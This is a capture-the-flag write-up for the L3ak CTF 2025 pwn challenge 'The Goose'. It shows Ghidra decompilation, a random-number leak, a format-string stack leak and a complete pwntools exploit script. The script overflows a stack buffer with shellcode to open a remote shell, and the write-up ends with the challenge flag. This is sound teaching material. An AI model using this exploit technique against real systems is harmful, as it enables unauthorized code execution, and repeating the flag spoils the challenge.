The Goose [L3ak CTF 2025]

pwn
writeup by: vikcoc

Challenge Description

When the honking gets tough, you better brush up on your basics

We are greeted by a goose, that asks us to guess a number. If we guess correctly we get to write a message to the world.

Intuition

The protections enabled on the binary tell us that we probably are expected to execute a shell payload from the stack.

RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        PIE enabled
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No

Solution

Sifting through the code with Ghidra we see that highscore is an interesting function
There is a printf where we control the format string followed by a read of greater size than the stack frame of 0x170.

  printf("what\'s your name again?");
  __isoc99_scanf(&DAT_001024eb,local_78);
  local_d9 = 0;
  sprintf(local_f8,(char *)&local_58,local_78);
  printf(local_f8);
  read(0,local_178,0x400);
  printf("got it. bye now.");

Where sprintf is like printf but instead of printing it puts the result in local_f8.
To get there though, we must guess a random number generated by the process.

  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  setuser();
  iVar1 = rand();
  nhonks = iVar1 % 0x5b + 10;
  iVar1 = guess();
  if (iVar1 == 0) {
    puts("tough luck. THE GOOSE WINS! GET THE HONK OUT!");
  }
  else {
    highscore();
  }

The number is generated before we are asked to guess, which suggests, that it too, must be leaked.
If we search for it at runtime, we can find it with the global variables, right after the username. Username that gets printed after the number is generated.
With a long username set in the setuser function we get to leak the random value.

position_of_leaked_rand = -18
print(target.sendlineafter(b'e call you?', b'a' * 0x40).decode())
line = target.recvuntil(b'?', timeout=2)
target.sendline(str(line[position_of_leaked_rand]).encode())

We send it right back to get access to the highscore function.
There we are asked to input another string, which gets to be the template string for printf, function that we can exploit to leak values on the stack1.

print(target.sendlineafter(b'again?', b'%1$p').decode())
line = target.recvuntil(b'so good',timeout=2)

Turns out that, on position 1, there is a stack address which we can use to compute the value of RBP.
After that it’s just a matter of crafting a shellcode payload, which pwntools can provide.

import pwn
pwn.context.terminal = ['konsole', '-e']

target = pwn.remote('34.45.81.67', 16004)

# leak rand number on .data
position_of_leaked_rand = -18
print(target.sendlineafter(b'e call you?', b'a' * 0x40).decode())
line = target.recvuntil(b'?', timeout=2)
target.sendline(str(line[position_of_leaked_rand]).encode())

# leak stack address
print(target.sendlineafter(b'again?', b'%1$p').decode())
line = target.recvuntil(b'so good',timeout=2)
print(line.decode())

stack_add_pos = 4
offset_to_rbp = 0x4A
rbpaddr = int(line[stack_add_pos:stack_add_pos+14].decode(), base=16) + offset_to_rbp
print(hex(rbpaddr))

# build shell
pwn.context.arch = 'amd64'
buffer_size = 0x170
binshlen = rbplen = 0x8
shell = pwn.asm(pwn.shellcraft.sh())
pay = b'/bin/sh\0' + shell + b'b' * (buffer_size - binshlen - len(shell)) + b'c' * rbplen + pwn.p64(rbpaddr - buffer_size + binshlen)

print(target.sendlineafter(b'world?', pay).decode())

target.interactive()

And read the flag with the shell.

Flag

L3AK{H0nk_m3_t0_th3_3nd_0f_l0v3}

References